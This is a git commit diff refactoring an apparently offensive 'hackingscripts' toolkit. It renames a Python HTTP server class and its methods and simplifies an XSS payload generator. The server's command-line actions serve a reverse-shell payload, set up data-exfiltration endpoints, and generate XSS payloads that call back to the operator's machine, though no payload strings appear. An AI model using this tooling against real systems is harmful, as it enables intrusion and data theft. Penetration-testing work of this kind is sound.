web-server + xss cleanup

This commit is contained in:
2026-05-01 08:27:45 +02:00
parent 90d161134f
commit 305b166d26
3 changed files with 57 additions and 75 deletions

View File

@@ -128,13 +128,13 @@ class BlindSQLiPoC(MySQLi, BlindSQLi):
print(poc.get_current_user()) print(poc.get_current_user())
""") """)
if "http-server" in features or "file-server" in features: if "http-server" in features or "web-server" in features or "httpserver" in features or "webserver" in features:
partial_imports["hackingscripts.fileserver"] = ["HttpFileServer"] partial_imports["hackingscripts.tools.server.webserver"] = ["HttpServer"]
main_code.append("""file_server = HttpFileServer("0.0.0.0", 3000) main_code.append("""http_server = HttpServer("0.0.0.0", 3000)
file_server.enableLogging() http_server.enable_logging()
file_server.addRoute("/dynamic", on_request) http_server.add_route("/dynamic", on_request)
file_server.addFile("/static", b"static-content") http_server.serve_data("/static", b"static-content")
file_server.startBackground() http_server.start_background()
""") """)
methods.append(""" methods.append("""
@@ -184,7 +184,7 @@ if __name__ == "__main__":
"register|account: Generate an account registration method stub", "register|account: Generate an account registration method stub",
"login|account: Generate an account login method stub", "login|account: Generate an account login method stub",
"sqli: Generate an template SQL-Injection class", "sqli: Generate an template SQL-Injection class",
"http-server|file-server: Generate code for starting an in-memory http server" "http-server|web-server: Generate code for starting an in-memory http server"
] ]
parser.add_argument("url", type=str, help="Target URL") parser.add_argument("url", type=str, help="Target URL")

View File

@@ -8,10 +8,10 @@ import os
import ssl import ssl
from http.server import BaseHTTPRequestHandler, HTTPServer from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse from urllib.parse import urlparse
from hackingscripts.utils import util from hackingscripts.utils import util, xss
from hackingscripts.tools.server.xss_handler import generate_payload as generate_xss_payload
class FileServerRequestHandler(BaseHTTPRequestHandler):
class HttpServerRequestHandler(BaseHTTPRequestHandler):
def __init__(self, *args, **kwargs): def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs) super().__init__(*args, **kwargs)
@@ -22,7 +22,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
def do_POST(self): def do_POST(self):
self.do_GET() self.do_GET()
def onForward(self, base_path, target, **kwargs): def on_forward(self, base_path, target, **kwargs):
path = self.path[max(0, len(base_path)-1):] path = self.path[max(0, len(base_path)-1):]
parts = urlparse(target) parts = urlparse(target)
if path.startswith(parts.path): if path.startswith(parts.path):
@@ -83,7 +83,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
self.end_headers() self.end_headers()
return return
path = self.server.cleanPath(self.path) path = self.server.clean_path(self.path)
route = self.find_route(path) route = self.find_route(path)
result = route(self) result = route(self)
@@ -91,7 +91,10 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
if isinstance(result, tuple): if isinstance(result, tuple):
status_code = 200 if len(result) < 1 else result[0] status_code = 200 if len(result) < 1 else result[0]
data = b"" if len(result) < 2 else result[1] data = b"" if len(result) < 2 else result[1]
headers = { } if len(result) < 3 else result[2] if len(result) < 3:
headers = {}
else:
headers = {k: v for k, v in result[2].items() if k.lower() not in blacklist_headers}
elif isinstance(result, int): elif isinstance(result, int):
status_code = result status_code = result
data = b"" data = b""
@@ -105,7 +108,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
data = data if type(data) in [bytes, bytearray] else str(data).encode() data = data if type(data) in [bytes, bytearray] else str(data).encode()
headers = {} headers = {}
if path in self.server.dumpRequests: if path in self.server.dump_requests:
headers["Access-Control-Allow-Origin"] = "*" headers["Access-Control-Allow-Origin"] = "*"
headers["Connection"] = "Close" headers["Connection"] = "Close"
@@ -119,7 +122,6 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
self.send_response_only(status_code) self.send_response_only(status_code)
for key, value in headers.items(): for key, value in headers.items():
if key.lower() not in blacklist_headers:
self.send_header(key, value) self.send_header(key, value)
if self.command.upper() == "OPTIONS": if self.command.upper() == "OPTIONS":
@@ -132,7 +134,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
data = data.encode() data = data.encode()
self.wfile.write(data) self.wfile.write(data)
if (path in self.server.dumpRequests or "/" in self.server.dumpRequests) and path != "/dummy": if (path in self.server.dump_requests or "/" in self.server.dump_requests) and path != "/dummy":
body = self.read_body() body = self.read_body()
print("===== Connection from:",self.client_address[0]) print("===== Connection from:",self.client_address[0])
@@ -150,18 +152,18 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
if self.server.logRequests: if self.server.logRequests:
super().log_message(format, *args) super().log_message(format, *args)
class HttpFileServer(HTTPServer): class HttpServer(HTTPServer):
def __init__(self, addr, port): def __init__(self, addr, port):
super().__init__((addr, port), FileServerRequestHandler) super().__init__((addr, port), HttpServerRequestHandler)
self.ssl_context = None self.ssl_context = None
self.logRequests = False self.logRequests = False
self.routes = { } self.routes = { }
self.dumpRequests = [] self.dump_requests = []
self.prefix_routes = { } self.prefix_routes = { }
self.is_running = True self.is_running = True
self.listen_thread = None self.listen_thread = None
def cleanPath(self, path): def clean_path(self, path):
if "?" in path: if "?" in path:
path = path[0:path.find("?")] path = path[0:path.find("?")]
@@ -170,7 +172,7 @@ class HttpFileServer(HTTPServer):
return path.strip() return path.strip()
def addFile(self, name, data, mime_type=None): def serve_data(self, name, data, mime_type=None):
assert isinstance(name, str) assert isinstance(name, str)
assert data is not None assert data is not None
@@ -191,7 +193,7 @@ class HttpFileServer(HTTPServer):
headers["Content-Type"] = mime_type headers["Content-Type"] = mime_type
# return 200 - OK and data # return 200 - OK and data
self.addRoute(name, lambda req: (200, data, headers)) self.add_route(name, lambda req: (200, data, headers))
def add_file_path(self, path, name=None): def add_file_path(self, path, name=None):
def readfile(): def readfile():
@@ -200,7 +202,7 @@ class HttpFileServer(HTTPServer):
if name is None: if name is None:
name = os.path.basename(path) name = os.path.basename(path)
self.addRoute(name, lambda req: (200, readfile())) self.add_route(name, lambda req: (200, readfile()))
def load_directory(self, path, recursive=True, exclude_ext=[]): def load_directory(self, path, recursive=True, exclude_ext=[]):
if not os.path.isdir(path): if not os.path.isdir(path):
@@ -214,22 +216,22 @@ class HttpFileServer(HTTPServer):
relative_path = file_path[len(path):] relative_path = file_path[len(path):]
self.add_file_path(file_path, relative_path) self.add_file_path(file_path, relative_path)
def dumpRequest(self, name): def dump_request(self, name):
self.dumpRequests.append(self.cleanPath(name)) self.dump_requests.append(self.clean_path(name))
def addRoute(self, path, func): def add_route(self, path, func):
self.routes[self.cleanPath(path)] = func self.routes[self.clean_path(path)] = func
def addPrefixRoute(self, path, func): def add_prefix_route(self, path, func):
self.prefix_routes[self.cleanPath(path)] = func self.prefix_routes[self.clean_path(path)] = func
def forwardRequest(self, path, target, **kwargs): def forward_request(self, path, target, **kwargs):
self.addPrefixRoute(path, lambda req: req.onForward(path, target, **kwargs)) self.add_prefix_route(path, lambda req: req.on_forward(path, target, **kwargs))
def enableLogging(self): def enable_logging(self):
self.logRequests = True self.logRequests = True
def enableSSL(self, private_key="private.key", certificate="server.crt"): def enable_ssl(self, private_key="private.key", certificate="server.crt"):
if not os.path.isfile(private_key): if not os.path.isfile(private_key):
print("Generating private key and certificate…") print("Generating private key and certificate…")
@@ -242,7 +244,7 @@ class HttpFileServer(HTTPServer):
self.ssl_context.load_cert_chain(certificate, private_key) self.ssl_context.load_cert_chain(certificate, private_key)
self.socket = self.ssl_context.wrap_socket(self.socket, server_side=True) self.socket = self.ssl_context.wrap_socket(self.socket, server_side=True)
def startBackground(self): def start_background(self):
self.listen_thread = threading.Thread(target=self.serve_forever) self.listen_thread = threading.Thread(target=self.serve_forever)
self.listen_thread.start() self.listen_thread.start()
return self.listen_thread return self.listen_thread
@@ -336,34 +338,34 @@ if __name__ == "__main__":
args = parser.parse_args() args = parser.parse_args()
file_server = HttpFileServer(args.bind_addr, args.port) file_server = HttpServer(args.bind_addr, args.port)
ip_address = util.get_address() ip_address = util.get_address()
if args.ssl: if args.ssl:
file_server.enableSSL(args.ssl_key, args.ssl_cert) file_server.enable_ssl(args.ssl_key, args.ssl_cert)
if args.verbose: if args.verbose:
file_server.enableLogging() file_server.enable_logging()
if args.action == "shell": if args.action == "shell":
payload_type = args.payload if args.payload else "bash" payload_type = args.payload if args.payload else "bash"
shell_payload = rev_shell.generate_payload(args.payload, ip_address, 4444) shell_payload = rev_shell.generate_payload(args.payload, ip_address, 4444)
file_server.addFile("/shell", rev_shell) file_server.serve_data("/shell", rev_shell)
print("Reverse Shell URL:", file_server.get_full_url("/shell", ip_address)) print("Reverse Shell URL:", file_server.get_full_url("/shell", ip_address))
elif args.action == "dump": elif args.action == "dump":
file_server.dumpRequest("/") file_server.dump_request("/")
print("Exfiltrate data using:", file_server.get_full_url("/", ip_address)) print("Exfiltrate data using:", file_server.get_full_url("/", ip_address))
elif args.action == "proxy": elif args.action == "proxy":
url = "https://google.com" url = "https://google.com"
file_server.forwardRequest("/proxy", url) file_server.forward_request("/proxy", url)
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address)) print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
elif args.action == "xss": elif args.action == "xss":
payload_type = args.payload if args.payload else "img" payload_type = args.payload if args.payload else "img"
xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address)) xss_payload = xss.generate_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address))
file_server.addFile("/xss", xss) file_server.serve_data("/xss", xss_payload)
file_server.dumpRequest("/exfiltrate") file_server.dump_request("/exfiltrate")
print("Exfiltrate data using:") print("Exfiltrate data using:")
print(xss) print(xss_payload)
elif args.action == "start": elif args.action == "start":
file_server.load_directory(".") file_server.load_directory(".")
print("Serve files in current directory using:") print("Serve files in current directory using:")

View File

@@ -1,9 +1,11 @@
#!/usr/bin/env python #!/usr/bin/env python
from hackingscripts import util from hackingscripts.utils import util
from fileserver import HttpFileServer
import argparse import argparse
import random import random
import re
# TODO: more xss payloads, encoders, etc.
def generate_payload(payload_type, url, index=None, **kwargs): def generate_payload(payload_type, url, index=None, **kwargs):
payloads = [] payloads = []
@@ -25,13 +27,11 @@ if __name__ == "__main__":
parser = argparse.ArgumentParser(description="XSS payload generator") parser = argparse.ArgumentParser(description="XSS payload generator")
parser.add_argument(dest="type", type=str, default=None, help="Payload type") parser.add_argument(dest="type", type=str, default=None, help="Payload type")
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port") parser.add_argument("-u", "--url", dest="url", type=str, default="http://"+util.get_address(), help="XSS Base URL")
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
args, extra = parser.parse_known_args() args, extra = parser.parse_known_args()
listen_port = args.port
payload_type = args.type.lower() payload_type = args.type.lower()
local_address = args.addr url = args.url
extra_args = {} extra_args = {}
for entry in extra: for entry in extra:
@@ -42,30 +42,10 @@ if __name__ == "__main__":
key, value = match.groups() key, value = match.groups()
extra_args[key] = value extra_args[key] = value
# choose random port
if listen_port is None:
listen_port = random.randint(10000,65535)
while util.is_port_in_use(listen_port):
listen_port = random.randint(10000,65535)
http_server = HttpFileServer(local_address, listen_port)
payload_type = args.type.lower()
url = http_server.get_full_url("/", util.get_address())
payload = generate_payload(payload_type, url, **extra_args) payload = generate_payload(payload_type, url, **extra_args)
if payload is None: if payload is None:
print("Unknown payload type: %s" % payload_type) print("Unknown payload type", payload_type)
# print("Supported types: ") # print("Supported types: ")
exit(1) exit(1)
print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n") print(payload)
headers = {
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Methods": "GET, POST, OPTIONS"
}
http_server.addRoute("/", lambda req: (201, b"", headers))
http_server.dumpRequest("/")
http_server.serve_forever()